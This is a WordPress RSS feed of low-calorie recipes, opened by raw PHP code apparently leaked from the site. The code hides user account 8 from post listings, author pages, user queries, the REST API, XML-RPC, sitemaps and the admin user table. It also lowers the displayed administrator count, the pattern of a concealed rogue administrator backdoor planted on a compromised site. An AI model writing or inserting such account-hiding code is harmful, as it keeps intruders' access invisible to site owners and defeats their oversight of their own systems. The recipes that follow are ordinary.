add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 8;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 8 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 8;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 8;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 8;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 8;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-8{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
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<channel>
	<title>Weight Watchers Archives - Recipes</title>
	<atom:link href="https://skinnydietrecipes.com/category/weight-watchers/feed" rel="self" type="application/rss+xml" />
	<link>https://skinnydietrecipes.com/category/weight-watchers</link>
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	<lastBuildDate>Mon, 09 Mar 2026 17:02:25 +0000</lastBuildDate>
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	<url>https://skinnydietrecipes.com/wp-content/uploads/2019/06/cropped-donut-1727497_640-32x32.png</url>
	<title>Weight Watchers Archives - Recipes</title>
	<link>https://skinnydietrecipes.com/category/weight-watchers</link>
	<width>32</width>
	<height>32</height>
</image> 
<site xmlns="com-wordpress:feed-additions:1">163356040</site>	<item>
		<title>Healthy High Protein Blueberry Cheesecake</title>
		<link>https://skinnydietrecipes.com/healthy-high-protein-blueberry-cheesecake</link>
		
		<dc:creator><![CDATA[vano]]></dc:creator>
		<pubDate>Mon, 09 Mar 2026 17:02:18 +0000</pubDate>
				<category><![CDATA[Weight Watchers]]></category>
		<guid isPermaLink="false">https://skinnydietrecipes.com/?p=5133</guid>

					<description><![CDATA[<p>Ingredients:1 banana1 egg1/4 cup Greek yogurt11 blueberries1 to 2 teaspoons cornstarch optional Blend all ingredients. Bake at 350°F / 180°C for 15–20 minutes.</p>
<p>The post <a href="https://skinnydietrecipes.com/healthy-high-protein-blueberry-cheesecake">Healthy High Protein Blueberry Cheesecake</a> appeared first on <a href="https://skinnydietrecipes.com">Recipes</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Ingredients:<br>1 banana<br>1 egg<br>1/4 cup Greek yogurt<br>11 blueberries<br>1 to 2 teaspoons cornstarch optional</p>



<p>Blend all ingredients.</p>



<p>Bake at 350°F / 180°C for 15–20 minutes.</p>
<p>The post <a href="https://skinnydietrecipes.com/healthy-high-protein-blueberry-cheesecake">Healthy High Protein Blueberry Cheesecake</a> appeared first on <a href="https://skinnydietrecipes.com">Recipes</a>.</p>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">5133</post-id>	</item>
		<item>
		<title>Carrot muffins</title>
		<link>https://skinnydietrecipes.com/carrot-muffins</link>
		
		<dc:creator><![CDATA[vano]]></dc:creator>
		<pubDate>Mon, 09 Mar 2026 16:59:35 +0000</pubDate>
				<category><![CDATA[Weight Watchers]]></category>
		<guid isPermaLink="false">https://skinnydietrecipes.com/?p=5130</guid>

					<description><![CDATA[<p>&#160;Ingredients: • 200 g non-fat cottage cheese • ½ cup rolled oats (60 g) • 2 tbsp honey • 1 tsp cinnamon • 1 medium carrot, finely grated&#160; • 2–3 tbsp toasted walnuts (for topping) (You can also use pecans or almonds if you prefer.) &#160;Instructions: &#160;Blend cottage cheese until completely smooth. &#160;Add oats, honey [&#8230;]</p>
<p>The post <a href="https://skinnydietrecipes.com/carrot-muffins">Carrot muffins</a> appeared first on <a href="https://skinnydietrecipes.com">Recipes</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>&nbsp;Ingredients:</p>



<p>• 200 g non-fat cottage cheese</p>



<p>• ½ cup rolled oats (60 g)</p>



<p>• 2 tbsp honey</p>



<p>• 1 tsp cinnamon</p>



<p>• 1 medium carrot, finely grated&nbsp;</p>



<p>• 2–3 tbsp toasted walnuts (for topping)</p>



<p>(You can also use pecans or almonds if you prefer.)</p>



<p>&nbsp;Instructions:</p>



<p>&nbsp;Blend cottage cheese until completely smooth.</p>



<p>&nbsp;Add oats, honey and cinnamon.</p>



<p>&nbsp;Blend again until the mixture becomes creamy.</p>



<p>&nbsp;Stir in the grated carrot.</p>



<p>&nbsp;Divide the batter between muffin liners (fill about ¾ full).</p>



<p>&nbsp;Bake at 350°F / 180°C for 20–25 minutes.</p>



<p>&nbsp;Once baked, sprinkle toasted walnut pieces on top while still warm.</p>



<p>Let them cool slightly… and enjoy the soft fluffy texture.</p>



<p>&nbsp;Why people love these muffins</p>



<p>&nbsp;naturally sweetened</p>



<p>&nbsp;flour-free recipe</p>



<p>&nbsp;high in protein</p>



<p>&nbsp;naturally moist from carrots</p>



<p>&nbsp;perfect for breakfast or healthy snacks.</p>



<p></p>
<p>The post <a href="https://skinnydietrecipes.com/carrot-muffins">Carrot muffins</a> appeared first on <a href="https://skinnydietrecipes.com">Recipes</a>.</p>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">5130</post-id>	</item>
		<item>
		<title>Crispy Zucchini flatbread in breakfast</title>
		<link>https://skinnydietrecipes.com/crispy-zucchini-flatbread-in-breakfast</link>
		
		<dc:creator><![CDATA[vano]]></dc:creator>
		<pubDate>Mon, 09 Mar 2026 16:57:24 +0000</pubDate>
				<category><![CDATA[Weight Watchers]]></category>
		<guid isPermaLink="false">https://skinnydietrecipes.com/?p=5127</guid>

					<description><![CDATA[<p>Ingredients: 2 medium zucchini (grated) 2 eggs ½ cup shredded cheese (mozzarella or cheddar) 2–3 tbsp oat flour or almond flour salt &#38; pepper ½ tsp garlic powder For the filling: turkey slices cheese slices (mozzarella, provolone, or cheddar) How to Make Them &#160;Grate zucchini and squeeze out the extra liquid. &#160;Mix zucchini with eggs, [&#8230;]</p>
<p>The post <a href="https://skinnydietrecipes.com/crispy-zucchini-flatbread-in-breakfast">Crispy Zucchini flatbread in breakfast</a> appeared first on <a href="https://skinnydietrecipes.com">Recipes</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Ingredients:</p>



<p>2 medium zucchini (grated)</p>



<p>2 eggs</p>



<p>½ cup shredded cheese (mozzarella or cheddar)</p>



<p>2–3 tbsp oat flour or almond flour</p>



<p>salt &amp; pepper</p>



<p>½ tsp garlic powder</p>



<p>For the filling:</p>



<p>turkey slices</p>



<p>cheese slices (mozzarella, provolone, or cheddar)</p>



<p>How to Make Them</p>



<p>&nbsp;Grate zucchini and squeeze out the extra liquid.</p>



<p>&nbsp;Mix zucchini with eggs, shredded cheese, flour, salt, pepper, and garlic powder.</p>



<p>&nbsp;Spread the mixture into thin round flatbreads on a baking sheet.</p>



<p>&nbsp;Bake at 375°F (190°C) for 15–18 minutes until golden.</p>



<p>&nbsp;Add turkey and cheese between two flatbreads and cook a few minutes until the cheese melts.</p>



<p>&nbsp;Crispy outside.</p>



<p>&nbsp;Cheesy inside.</p>



<p>&nbsp;Totally addictive.</p>



<p>Trust me… you’ll make these again tomorrow.</p>



<p></p>
<p>The post <a href="https://skinnydietrecipes.com/crispy-zucchini-flatbread-in-breakfast">Crispy Zucchini flatbread in breakfast</a> appeared first on <a href="https://skinnydietrecipes.com">Recipes</a>.</p>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">5127</post-id>	</item>
		<item>
		<title>Crispy Cottage Cheese Flatbread</title>
		<link>https://skinnydietrecipes.com/crispy-cottage-cheese-flatbread</link>
		
		<dc:creator><![CDATA[vano]]></dc:creator>
		<pubDate>Mon, 09 Mar 2026 16:55:36 +0000</pubDate>
				<category><![CDATA[Weight Watchers]]></category>
		<guid isPermaLink="false">https://skinnydietrecipes.com/?p=5124</guid>

					<description><![CDATA[<p>This recipe surprises people because it turns cottage cheese into a soft but slightly crispy flatbread that works like a wrap. In a blender mix ½ cup non-fat cottage cheese, 1 egg, and 2 tablespoons oat flour (or blended oats) until smooth. Pour the batter onto a parchment-lined baking sheet and spread it thin like [&#8230;]</p>
<p>The post <a href="https://skinnydietrecipes.com/crispy-cottage-cheese-flatbread">Crispy Cottage Cheese Flatbread</a> appeared first on <a href="https://skinnydietrecipes.com">Recipes</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>This recipe surprises people because it turns cottage cheese into a soft but slightly crispy flatbread that works like a wrap. In a blender mix ½ cup non-fat cottage cheese, 1 egg, and 2 tablespoons oat flour (or blended oats) until smooth. Pour the batter onto a parchment-lined baking sheet and spread it thin like a small flatbread. Sprinkle a pinch of garlic powder and a little mozzarella on top. Bake at 375°F (190°C) for about 12–15 minutes until the edges turn golden. Once cooled slightly, it becomes flexible enough to fold like a wrap. People love filling it with turkey, avocado, or veggies because it tastes like real bread but is high in protein. </p>
<p>The post <a href="https://skinnydietrecipes.com/crispy-cottage-cheese-flatbread">Crispy Cottage Cheese Flatbread</a> appeared first on <a href="https://skinnydietrecipes.com">Recipes</a>.</p>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">5124</post-id>	</item>
		<item>
		<title>Creamy Ranch Cucumber Boats</title>
		<link>https://skinnydietrecipes.com/creamy-ranch-cucumber-boats</link>
		
		<dc:creator><![CDATA[vano]]></dc:creator>
		<pubDate>Thu, 26 Feb 2026 17:40:37 +0000</pubDate>
				<category><![CDATA[Weight Watchers]]></category>
		<guid isPermaLink="false">https://skinnydietrecipes.com/?p=5115</guid>

					<description><![CDATA[<p>1 cucumber (halved, seeds scooped slightly) ½ cup Greek yogurt ½ tsp ranch seasoning Pinch black pepper Mix yogurt + ranch seasoning. Spoon into cucumber halves. Chill 15 minutes.</p>
<p>The post <a href="https://skinnydietrecipes.com/creamy-ranch-cucumber-boats">Creamy Ranch Cucumber Boats</a> appeared first on <a href="https://skinnydietrecipes.com">Recipes</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>1 cucumber (halved, seeds scooped slightly)<br><br>½ cup Greek yogurt<br><br>½ tsp ranch seasoning<br><br>Pinch black pepper<br><br>Mix yogurt + ranch seasoning.<br><br>Spoon into cucumber halves.<br><br>Chill 15 minutes.<br><br><br></p>
<p>The post <a href="https://skinnydietrecipes.com/creamy-ranch-cucumber-boats">Creamy Ranch Cucumber Boats</a> appeared first on <a href="https://skinnydietrecipes.com">Recipes</a>.</p>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">5115</post-id>	</item>
		<item>
		<title>Viral Jalapeño Cream Cheese Bites </title>
		<link>https://skinnydietrecipes.com/viral-jalapeno-cream-cheese-bites</link>
		
		<dc:creator><![CDATA[vano]]></dc:creator>
		<pubDate>Thu, 26 Feb 2026 17:37:13 +0000</pubDate>
				<category><![CDATA[Weight Watchers]]></category>
		<guid isPermaLink="false">https://skinnydietrecipes.com/?p=5112</guid>

					<description><![CDATA[<p>½ cup cooked shredded chicken 2 tbsp non-fat cream cheese 1–2 tsp diced jalapeño ½ scoop unflavored protein powder Pinch garlic powder &#38; smoked paprika Instructions: Mix all ingredients until thick and sticky. Roll into small bite-sized balls. Bake 375°F (190°C) for 12–15 minutes. Let cool slightly (they firm up and stay soft inside). </p>
<p>The post <a href="https://skinnydietrecipes.com/viral-jalapeno-cream-cheese-bites">Viral Jalapeño Cream Cheese Bites </a> appeared first on <a href="https://skinnydietrecipes.com">Recipes</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>½ cup cooked shredded chicken<br><br>2 tbsp non-fat cream cheese<br><br>1–2 tsp diced jalapeño<br><br>½ scoop unflavored protein powder<br><br>Pinch garlic powder &amp; smoked paprika<br><br>Instructions:<br><br>Mix all ingredients until thick and sticky.<br><br>Roll into small bite-sized balls.<br><br>Bake 375°F (190°C) for 12–15 minutes.<br><br>Let cool slightly (they firm up and stay soft inside). </p>
<p>The post <a href="https://skinnydietrecipes.com/viral-jalapeno-cream-cheese-bites">Viral Jalapeño Cream Cheese Bites </a> appeared first on <a href="https://skinnydietrecipes.com">Recipes</a>.</p>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">5112</post-id>	</item>
		<item>
		<title>CRISPY TACOS</title>
		<link>https://skinnydietrecipes.com/crispy-tacos</link>
		
		<dc:creator><![CDATA[vano]]></dc:creator>
		<pubDate>Thu, 26 Feb 2026 17:33:00 +0000</pubDate>
				<category><![CDATA[Weight Watchers]]></category>
		<guid isPermaLink="false">https://skinnydietrecipes.com/?p=5109</guid>

					<description><![CDATA[<p>Pour beaten egg whites thinly into a nonstick pan like a crepe. Cook until set but still flexible. Sprinkle cheese on one half, fold it like a taco, and cook a little longer until edges crisp. Fill with: Taco turkey Shredded lettuce Greek yogurt + salsa It holds like a taco shell but it’s basically [&#8230;]</p>
<p>The post <a href="https://skinnydietrecipes.com/crispy-tacos">CRISPY TACOS</a> appeared first on <a href="https://skinnydietrecipes.com">Recipes</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Pour beaten egg whites thinly into a nonstick pan like a crepe.<br><br>Cook until set but still flexible.<br><br>Sprinkle cheese on one half, fold it like a taco, and cook a little longer until edges crisp.<br><br>Fill with:<br><br>Taco turkey<br><br>Shredded lettuce<br><br>Greek yogurt + salsa<br><br>It holds like a taco shell but it’s basically pure protein.&nbsp;</p>
<p>The post <a href="https://skinnydietrecipes.com/crispy-tacos">CRISPY TACOS</a> appeared first on <a href="https://skinnydietrecipes.com">Recipes</a>.</p>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">5109</post-id>	</item>
		<item>
		<title>Viral Crispy turkey &#038; Cheese Roll-Up Bites </title>
		<link>https://skinnydietrecipes.com/viral-crispy-turkey-cheese-roll-up-bites</link>
		
		<dc:creator><![CDATA[vano]]></dc:creator>
		<pubDate>Thu, 26 Feb 2026 17:29:56 +0000</pubDate>
				<category><![CDATA[Weight Watchers]]></category>
		<guid isPermaLink="false">https://skinnydietrecipes.com/?p=5106</guid>

					<description><![CDATA[<p>No bread. Ingredients (6–8 bites) 4 thin slices turkey ½ cup reduced-fat &#160;mozzarella 1 tbsp non-fat cream cheese Pinch Italian seasoning &#160;Instructions Spread thin layer cream cheese on ham slices. Sprinkle mozzarella evenly. Roll tightly and slice into small pinwheels. Bake 375°F (190°C) for 10–12 minutes until golden and crispy edges. Optional: Air fry 5–6 [&#8230;]</p>
<p>The post <a href="https://skinnydietrecipes.com/viral-crispy-turkey-cheese-roll-up-bites">Viral Crispy turkey &amp; Cheese Roll-Up Bites </a> appeared first on <a href="https://skinnydietrecipes.com">Recipes</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>No bread.<br><br>Ingredients (6–8 bites)<br><br>4 thin slices turkey<br><br>½ cup reduced-fat &nbsp;mozzarella<br><br>1 tbsp non-fat cream cheese<br><br>Pinch Italian seasoning<br><br>&nbsp;Instructions<br><br>Spread thin layer cream cheese on ham slices.<br><br>Sprinkle mozzarella evenly.<br><br>Roll tightly and slice into small pinwheels.<br><br>Bake 375°F (190°C) for 10–12 minutes until golden and crispy edges.<br><br>Optional: Air fry 5–6 minutes for extra crisp.&nbsp;</p>
<p>The post <a href="https://skinnydietrecipes.com/viral-crispy-turkey-cheese-roll-up-bites">Viral Crispy turkey &amp; Cheese Roll-Up Bites </a> appeared first on <a href="https://skinnydietrecipes.com">Recipes</a>.</p>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">5106</post-id>	</item>
		<item>
		<title>Lemon Cheesecake</title>
		<link>https://skinnydietrecipes.com/lemon-cheesecake</link>
		
		<dc:creator><![CDATA[vano]]></dc:creator>
		<pubDate>Thu, 26 Feb 2026 17:26:30 +0000</pubDate>
				<category><![CDATA[Weight Watchers]]></category>
		<guid isPermaLink="false">https://skinnydietrecipes.com/?p=5103</guid>

					<description><![CDATA[<p>These taste like lemon cheesecake filling… but fluffy and light. Ingredients (4–5 mini bites) ½ cup Greek yogurt (thick) 2 tbsp light cream cheese (softened) ½ scoop vanilla protein powder 1 tbsp monk fruit sweetener 1 tsp fresh lemon juice ½ tsp lemon zest Instructions Blend everything until smooth and fluffy. Spoon into mini silicone [&#8230;]</p>
<p>The post <a href="https://skinnydietrecipes.com/lemon-cheesecake">Lemon Cheesecake</a> appeared first on <a href="https://skinnydietrecipes.com">Recipes</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>These taste like lemon cheesecake filling… but fluffy and light.</p>



<p>Ingredients (4–5 mini bites)</p>



<p>½ cup Greek yogurt (thick)</p>



<p>2 tbsp light cream cheese (softened)</p>



<p>½ scoop vanilla protein powder</p>



<p>1 tbsp monk fruit sweetener</p>



<p>1 tsp fresh lemon juice</p>



<p>½ tsp lemon zest</p>



<p>Instructions</p>



<p>Blend everything until smooth and fluffy.</p>



<p>Spoon into mini silicone molds or small cups.</p>



<p>Freeze 30–40 minutes (not rock hard).</p>



<p>Let sit 3 minutes before eating for soft texture.</p>
<p>The post <a href="https://skinnydietrecipes.com/lemon-cheesecake">Lemon Cheesecake</a> appeared first on <a href="https://skinnydietrecipes.com">Recipes</a>.</p>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">5103</post-id>	</item>
		<item>
		<title>The “Egg White Waffle Bun” Hack (No Bread, Looks Like a Sandwich)</title>
		<link>https://skinnydietrecipes.com/the-egg-white-waffle-bun-hack-no-bread-looks-like-a-sandwich</link>
		
		<dc:creator><![CDATA[vano]]></dc:creator>
		<pubDate>Thu, 26 Feb 2026 17:24:35 +0000</pubDate>
				<category><![CDATA[Weight Watchers]]></category>
		<guid isPermaLink="false">https://skinnydietrecipes.com/?p=5100</guid>

					<description><![CDATA[<p>Okay but WHY are we not using waffle makers for egg whites?! Whisk: 1 cup liquid egg whites 2 tbsp non-fat cottage cheese (blended smooth) Pinch salt + garlic powder Pour into a mini waffle maker (lightly greased).Cook 3–4 minutes until golden and firm. Here’s the viral move&#160;Let them cool 2 minutes. They firm up [&#8230;]</p>
<p>The post <a href="https://skinnydietrecipes.com/the-egg-white-waffle-bun-hack-no-bread-looks-like-a-sandwich">The “Egg White Waffle Bun” Hack (No Bread, Looks Like a Sandwich)</a> appeared first on <a href="https://skinnydietrecipes.com">Recipes</a>.</p>
]]></description>
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<p>Okay but WHY are we not using waffle makers for egg whites?!<br><br>Whisk:<br><br>1 cup liquid egg whites<br><br>2 tbsp non-fat cottage cheese (blended smooth)<br><br>Pinch salt + garlic powder<br><br>Pour into a mini waffle maker (lightly greased).<br>Cook 3–4 minutes until golden and firm.<br><br>Here’s the viral move&nbsp;<br>Let them cool 2 minutes. They firm up like actual bread.<br><br>Use two as “buns” and fill with:<br><br>Turkey slices<br><br>Melted cheese<br><br>Mustard or Greek yogurt sauce&nbsp;</p>
<p>The post <a href="https://skinnydietrecipes.com/the-egg-white-waffle-bun-hack-no-bread-looks-like-a-sandwich">The “Egg White Waffle Bun” Hack (No Bread, Looks Like a Sandwich)</a> appeared first on <a href="https://skinnydietrecipes.com">Recipes</a>.</p>
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